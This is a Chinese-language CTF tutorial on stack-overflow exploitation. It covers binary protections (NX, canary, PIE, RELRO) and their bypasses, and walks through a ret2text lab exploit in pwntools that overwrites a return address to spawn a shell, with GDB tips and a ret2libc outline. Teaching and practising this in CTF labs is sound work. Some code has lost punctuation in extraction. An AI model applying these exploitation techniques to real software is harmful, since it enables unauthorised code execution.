CTF PWN入门:一文讲透栈溢出原理与Exploit实战 📅 发布时间:2026/9/9 15:17:54 👁 浏览次数: 兄弟们如果你是刚摸到CTFCapture The Flag的门大概率会听到一个劝退率极高的词汇PWN。这玩意儿听起来玄乎说白了就是——给你一个二进制程序让你找到它的漏洞写一段攻击代码Exploit最终在靶机上拿到flag一串证明你攻破程序的字符串。业内有个笑话PWN的尽头是“坐牢模拟器”但恰恰是这种和计算机底层原理短兵相接的感觉让它成了CTF里含金量最高、也最好玩的方向。一篇绝对不够我打算出一个系列第一篇先解决“拿到题之后完全不知道从哪儿下手”的问题。这篇不堆砌高深理论我直接把日常做题的那套流程、看题时的第一个念头、最常踩的坑全部摊开来聊。目标是让你看完之后拿着一道入门的栈溢出题能自己完整跑通一遍不光知道怎么打通还得知道为什么这么打。这篇主要讲栈溢出堆利用之类的后续再开篇。1. 拿到一道PWN题先别急着写脚本很多新手最常见的状态是费劲巴拉把题目附件下载下来解压看到一个文件然后用记事本打开发现是乱码瞬间就懵了。别慌PWN题拿到手那个文件几乎永远是ELF格式的二进制文件Windows下记事本当然打不开。你要做的第一件事是先弄清楚这个文件是什么、开了什么保护再谈其他的。1.1 用file和checksec三秒钟看清目标这两个命令是我每道题的起手式。先看文件类型file pwn1输出一般长这样pwn1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]..., not stripped这一条信息量巨大ELF 32-bit说明是32位程序这意味着后续构造ROP链时参数要放在栈上而不是寄存器里64位程序前6个参数走寄存器。not stripped说明符号表还在可以直接看到main、system这些函数名没有符号表也没关系但有了它会省事很多。dynamically linked说明程序用了动态链接GOT表这玩意儿必然存在后面能做GOT劫持、ret2libc之类的操作。接着用checksec查防护这是pwntools自带的小工具直接在命令行敲checksec pwn1或者你在Python脚本里调用也行输出大致如下Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)这里每一项都直接决定了你的攻击路线。我后面会专门用一节来讲每个防护是干嘛的但你现在只需要记住一个最简单的判断逻辑No canary意味着栈上随便覆盖No PIE意味着地址固定不用泄露。这两条占了基本上就是一道送分题。1.2 IDA Pro把程序翻个底朝天看完防护接下来就是用反编译器看代码。CTF圈正版IDA当然好但现在新手更常接触的是Ghidra、IDA Free、或者国产的RetDec。我自己用得最多的还是IDA逆向分析的效率和交互体验确实舒服。打开程序后快速定位到main函数按一下F5你就能看到伪代码。这个时候新手又容易犯一个错误一头扎进去逐行读代码。没必要。一道PWN题的核心就一句话——找到输入点看数据流向哪里以及有没有危险函数。我一般会在代码里搜索这几类函数输入类gets、scanf、read、fgets、strcpy、sprintf、sscanf执行类system、execve、strlen长度计算逻辑漏洞只要看到gets这题大概率就是栈溢出没跑了。看到printf(buf)这种格式串直接当参数传的大概率是格式化字符串漏洞。看到malloc、free频率高的那就是堆题。这个判断流程基本上三分钟内能定下来。2. 栈溢出原理为什么覆盖一个地址就能为所欲为咱们先别急着打题我把栈溢出最核心的原理掰开揉碎了讲清楚。很多新手卡壳不是因为不会用脚本而是因为压根没搞懂“为什么随便塞一堆字符就能让程序跑飞”。2.1 函数调用时的栈布局就像吃完饭要找回出发的路栈在程序运行里就是一块按“后进先出”管理的内存每次函数调用系统都会把返回地址也就是函数执行完后该回到哪里继续跑的指令地址压入栈顶。这就像你出门吃饭出发前会在门口贴一张便利贴写下“家在XX路XX号”吃完饭后按着便利贴回家。当程序执行到一个函数时栈上是这个布局32位程序为例高地址 ---------------------- | 函数参数 | ---------------------- | 返回地址 (RET) | - 函数执行完回到这里 ---------------------- | 保存的EBP (SFP) | - 旧栈底指针 ---------------------- | 局部变量区域 | - 这里往往是缓冲区 ---------------------- 低地址也就是说局部变量存储在栈的低地址处而返回地址在高地址处。问题来了像gets这种函数它不管你要它读多少字节你给多少它读多少一路从低地址往高地址写。只要输入足够长缓冲区不够放后面的内容就会一路覆盖掉保存的EBP再覆盖掉返回地址。2.2 控制EIP你就控制了整个世界CPU执行指令靠什么靠EIP/RIP指针它指向哪条指令CPU就执行哪条指令。正常情况下这个指针是你写代码时编译器安排好的。但栈溢出给了我们机会我们把返回地址覆盖成自己构造的值当函数执行到ret指令时CPU会把栈顶弹出的值装进EIP然后接着执行。这意味着什么意味着你可以让程序跳过某些函数、直接跳到某个你想执行的内存地址去执行。最常见的利用方式就是覆盖返回地址为system(/bin/sh)的地址这样程序在返回时直接弹给你一个shell。这里插一句经验之谈新手初学PWN时一定要亲手用GDB看一次溢出前后的栈变化不要只看理论。你在一个缓冲区里输入“AAAA...”到崩溃那一刻用x/20wx $esp去看栈你会发现返回地址真真切切变成了0x41414141那个“A”对应的ASCII码。这一刻你就真的理解栈溢出了。3. 保护机制决定你用什么姿势拿shell拿到题后checksec列出来那几个英文单词会让很多人发怵。我挨个说你会发现它们没那么可怕而且它们本质上是在逼你换一种攻击姿势。3.1 NX栈不可执行shellcode打不了了NXNo-eXecute开启时栈上内容只有读写权限没有执行权限。早年攻击手法简单粗暴把shellcode塞进缓冲区然后让EIP跳到缓冲区开头就能执行。NX一开这种方法直接失效你再怎么跳CPU只会告诉你“Segmentation Fault”。那怎么办答案是ROPReturn-Oriented Programming。既然栈不可执行那就找程序已经加载的代码段里的现成指令片段通常是一段以ret结尾的小指令gadget把它们拼成一个链一步步地完成调用。比如先用一个gadget把/bin/sh字符串地址塞进某个寄存器或栈顶再调用system函数。这个过程就是rop。3.2 Canary栈里头埋了个“哨兵”动态检测你有没有越界Canary的机制很像银行金库门口的守卫。函数开头会往栈上缓冲区和返回地址之间放一个随机的随机数函数返回前检查这个值是否被篡改。如果我们暴力覆盖返回地址这个值通常会先被改掉程序立刻检测到异常并终止。这道防线让攻击者没法直接堆栈了。绕过思路通常有三种。第一种是信息泄露程序如果有输出功能比如printf(buf)这类格式化字符串漏洞可以先想办法把canary打印出来然后再在构造payload时原样写回。第二种是爆破32位canary一般是4字节其中最后一个字节是0x00实际爆破量有限某些场景下可以暴力打穿。第三种是覆盖其他可写目标既然canary拦在返回地址前那就绕开它去改栈上的变量、函数指针或者GOT表走逻辑劫持的路线。具体的canary绕过我会在系列后面的文章里详细拆这里先知道有这回事。3.3 PIE整个程序地址随机化你不能再用固定的返回地址PIEPosition Independent Executable开启时程序每次运行加载基址都不同代码段、数据段的地址全部随机化。之前你说的system地址是固定的0x8048416这一开PIE运行三次就有三个不同地址你没法直接写死。最常见的绕过方法是泄露一个已加载的地址比如某个函数在GOT中的地址然后用这个值和本地的基址偏移做差推出这次程序加载的实际基址再算出目标函数的真实地址。这又是老话重提拿到题先看保护有PIE意味着你必须想办法先打印一个地址出来。3.4 RELRO保护GOT表不被改写GOT表是程序用来查找动态链接函数地址的一个跳板。很多高级攻击玩法比如劫持GOT表让printf变成system就得靠往GOT表里写东西。RELRO开得越狠GOT表越只读。Partial RELRO说明GOT表部分可写Full RELRO就是GOT表彻底只读。CTF入门题大多是Partial给了我们很多操作空间。我把防护和应对策略整理成一个表方便你做题时对照防护机制状态攻击难点常用绕过思路NXEnabled栈上代码不可执行ROP、return-to-libcStack CanaryFound破坏栈会触发终止泄露canary、覆盖函数指针PIEEnabled代码段地址随机化泄露地址算出基址RELROFullGOT表只读覆盖返回地址或劫持钩子这四项就是PWN题最常见的大门锁。你把它们想成一道道安检每多一道攻击路径就绕远一点。但从另一个角度看这四种防护并不知道你接下来要干什么它们只是静态地检查某些条件所以没有绝对安全的程序只有写得不安全的代码。4. 完整实战一道经典的ret2text题目拆解前面把原理讲得差不多了我给出一道非常经典的入门题手把手带大家完整打一遍。这道题在各大CTF入门教程里都能看到类似原型32位程序开了NX没开PIE没canary程序自带一个后门函数。咱们的任务利用栈溢出劫持程序执行流跳到后门函数拿shell。4.1 拿到题目后的第一轮信息收集假设题目给了我们一个名叫vuln的文件。按老规矩先跑两条命令checksec vuln输出Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)完美——没canary没PIENX开了但无所谓因为我们要跳的是程序自己的代码段。再用IDA打开看main函数的伪代码int __cdecl main(int argc, const char **argv, const char **envp) { char buf[64]; setvbuf(stdout, 0, 2, 0); puts(Welcome to the vuln program!); gets(buf); return 0; }函数逻辑一目了然定义一个64字节的缓冲区然后调gets(buf)。gets不检查长度这题漏洞点确认。继续在左侧函数窗口里找找看有没有什么可疑函数。果然看到一个叫win的函数void win() { system(/bin/sh); }完美这题不用我们搞什么ROP链不用leak libc只要让程序返回到win函数就行。这类题的思路在圈里叫ret2text——直接跳回程序自己的后门函数。4.2 计算偏移量到底覆盖多少字节才能命中返回地址关键一步来了缓冲区是64字节但这不意味着写64个字节就能覆盖返回地址。你要知道从缓冲区起始位置到返回地址之间隔了多少字节。在32位程序里栈布局是[局部变量(64字节)][保存的EBP(4字节)][返回地址(4字节)]。所以64字节填满缓冲区再写4字节覆盖掉旧EBP再从第69个字节开始写返回地址。刚才那个是用理论推的但每道题的编译器优化各不相同缓冲区后面也许还有别的局部变量夹在中间所以不要只用手算。我推荐用pwntools的cyclic功能来精确测偏移from pwn import * io process(./vuln) payload cyclic(200) io.sendline(payload) io.wait()程序崩溃后用GDB看崩溃点或者直接看core dump报错EIP: 0x62616164 (daab)然后通过cyclic_find反推出偏移cyclic_find(0x62616164)输出通常是76也就是从缓冲区开始到返回地址隔了76字节。这个流程说起来快但我得提醒你们一件我早期踩过的坑不要依赖题目给的“64字节缓冲区”这种描述去手算偏移尤其是64位程序和开了优化的编译环境栈帧和你想的往往不一样。ctu这个坑我摔了不知道多少次后来学乖了一律用cyclic又快又准。4.3 构造payload编写第一个完整的exp偏移量知道了win函数的地址我再用nm命令确认一下nm vuln | grep win输出08048456 T win地址是0x08048456。32位程序地址固定把返回地址覆盖成这个值就行。注意payload末尾要把地址以32位小端序写入。我直接贴完整的脚本from pwn import * # 设置目标 binary ./vuln elf ELF(binary) # 如果是远程就打远程本地就用进程 # io remote(127.0.0.1, 10001) io process(binary) # 后门函数地址 win_addr elf.symbols[win] # win_addr 0x08048456 # 也可以直接写死 # 构造payload: 76字节填充 4字节返回地址 payload bA * 76 payload p32(win_addr) # 发送并交互 io.sendline(payload) io.interactive()简单拆解一下这个脚本ELF(binary)加载ELF文件方便读符号地址、GOT表之类的信息。p32(win_addr)这个函数会把整数地址转换成4字节的小端序字节串。因为CPU是小端模式地址0x08048456在内存里实际存成\x56\x84\x04\x08。很多新手直接发08048456字符串当然打不通因为那不是字节数据。io.interactive()拿到shell之后就把双方的输入输出接起来让你像在真实终端里一样操作。4.4 本地打通但别高兴太早运行脚本你会看到$光标停在那里说明shell已经弹出来了。输入ls、cat flag.txt——flag到手。不过我要泼一盆冷水本地打通只是第一步。同样的payload打到远程靶机上能不能通取决于好几件事。远程环境用的libc版本和你本地一样吗程序启动时有没有别的初始化脚本如果题目有TCP连接你和程序交互的时机是否要匹配菜单流程这些变量是PWN题真正变难的地方。我见过太多新手在本地把exp跑得飞起一上远程就光速红温然后怀疑人生。别急后面我会专门写如何应对远程环境差异最常用的就是泄露libc地址然后从libc-database查版本属于某些题型的基本操作。这篇先把栈溢出的基本功打牢。5. 调试工具没有GDB的PWN等于盲打有人会问为什么我写exp总是出问题为什么明明感觉思路对了就是打不通答案往往是一行你没有真正看到程序崩溃时的现场。CVE漏洞挖掘、CTF解题、逆向分析这三件事有一个共同的基石——调试器。在PWN里GDB就是你的眼睛。5.1 用pwndbg让调试体验上一个台阶原始的GDB界面惨不忍睹新手用它跟不上节奏。我强烈推荐装pwndbg或者gef这两个都是GDB的增强插件会自动帮你标出栈上的内容、寄存器的高亮、并显示反汇编代码。装上之后调试级别直接从“瞎猜”变成“上帝视角”。安装pwndbg也很简单git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh装好后在GDB里载入程序并设置断点比如在gets函数返回后下个断点然后运行并输入payload。看一眼pwndbg自动打印的栈布局你会清楚地看到返回地址已经被覆盖成了什么值。这是排查问题是最高效的手段。5.2 本地能通远程打不通先查这三处我归纳一下最常见的远程失败原因按概率排序libc版本不一致如果利用依赖了system、binsh这些libc里的地址本地能打不代表远程能打。解决办法是通过程序输出leak一个地址再对比libc数据库确定远程libc版本。攻击脚本太快远程环境有网络延迟极少数程序在接收数据前需要你等一下菜单打印完整。有时候程序先打印一段话你的脚本却直接发了payload导致数据滞留在内核缓冲区里会被程序当作无效输入。栈对齐问题尤其是64位程序用system调用时如果栈没有16字节对齐调用会直接段错误。这种问题在本地有时也会发生通常模式是GDB里打得好好的直接运行就崩。为什么会这样因为GDB的环境变量、启动参数会稍微改变栈布局。以后你看到“GDB能通直接跑不通”时先往栈对齐这个方向想。调试这一块没有什么捷径就是要多调、多试。老话讲“用功在平时”PWN题打得多了各种段错误的原因你基本瞄一眼就会猜个八九不离十。6. 拓展一步64位程序有什么不一样很多入门的题目是32位但真实比赛现在越来越多的PWN题是64位。如果你只会在32位下打栈溢出那遇到64位肯定卡壳。这里我把关键差异讲清楚。64位程序x86-64的寄存器容量更大且多了一堆通用寄存器。函数参数传递规则变了前6个整数或指针参数依次放到rdi、rsi、rdx、rcx、r8、r9第7个及以后的参数才放栈上。这个差异直接影响你构造ROP链的方式。举个例子如果你想调用system(/bin/sh)32位程序你只要保证栈顶是/bin/sh的地址就行而64位程序你得先找一条pop rdi; ret的gadget把/bin/sh字符串地址弹进rdi寄存器然后才调用system。64位的另一个坑就是栈对齐。System V ABI规定在执行call指令之前栈顶指针rsp必须16字节对齐。否则某些使用SSE指令的函数在调用时会崩溃。我在一次做题时本地GDB怎么跑都通但脚本直接跑就必然段错误查了半小时发现就是ret跳转时栈没对齐多冗余一个retgadget就好了。这类问题在64位动态链接程序里极其常见大家一定记住。6.1 快速体验ret2libc的完整链路本篇主要讲栈溢出的基本功但如果只提一种利用思路的延伸那一定是ret2libc。很多PWN题里除了漏洞点外找不到现成的后门函数那就要考虑从libc库里调用system前提是你得先拿到libc的基址。流程大致这样程序存在格式化字符串或某种输出功能先把某个已加载函数的真实地址打印出来比如puts的GOT地址。用本地libc文件题目通常会给libc.so.6不给就用泄露的地址去匹配库计算目标函数和libc基址的偏移。再次利用漏洞构造ROP链调用system(/bin/sh)把返回地址覆盖成libc基址偏移得到的真实地址。这套流程里你还会用到one_gadget、ROPgadget之类的工具以后写进阶篇再展开。7. 给新手的几条实在建议写到这里该聊点“人话”了。我见过太多人上来就刷PWN题做不出来就自闭然后弃坑。其实PWN的入门曲线虽然陡但它是完全可以通过正确的练习方式被踏平的。先认认真真掌握C语言和汇编基础。你连函数调用栈、指针、数组越界都没感觉PWN对你就是看天书。我建议至少先能把C语言里数组越界的后果说清楚再碰PWN。不一定要一上来就硬啃CTF真题先做专门针对入门的练习平台比如CTF-wiki上的入门题、NJUPT的OJ、Pwnable.tw的前几关。这些题目设计得循序渐进很多还有题解。写exp时习惯性地用pwntools框架它已经成为事实上的标准。我带的学弟学妹里有的人手撸socket去交互最后不仅慢还容易出错。pwntools帮你把收发数据、格式化地址、处理交互全部封装好了。遇到没思路的题别死磕超过三小时。我给自己定的规矩是卡住就去看别人的wp看懂思路后自己不看题解重新打一遍。复现的过程中你会发现自己遗漏了不少细节这个“复现“恰恰是长进最快的时候。PWN这条路上最宝贵的不是那些花哨的技巧而是你面对一个问题时逐步拆解、定位、验证的耐心。下一篇我打算写格式化字符串漏洞这是和栈溢出同等基础又经常被低估的漏洞类型它在泄露地址这方面几乎是万能钥匙。到时候再会。